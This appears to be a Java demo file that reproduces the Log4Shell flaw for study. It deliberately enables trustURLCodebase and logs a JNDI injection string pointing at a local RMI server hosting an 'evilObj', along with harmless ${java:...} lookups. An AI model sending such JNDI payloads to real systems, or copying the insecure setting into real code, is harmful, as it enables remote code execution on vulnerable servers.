package com.agui.log4jDemo;


import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

/**
 * @author ygp
 * @create 2021-12-23 16:26
 */
public class LogTest {
    private static final Logger logger = LogManager.getLogger(LogTest.class);

    public static void main(String[] args){

        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        logger.info("应用正常运行中。。。。。。。。。。。。。");
        String user = "${java:os}";
        logger.info("your operation system is: {}", "${java:os}");
        logger.info("your operation system is: {}", "${java:hw}");
        logger.info("your operation system is: {}", "${java:version}");
        logger.error("${jndi:rmi://127.0.0.1:1099/evilObj}");
    }

}
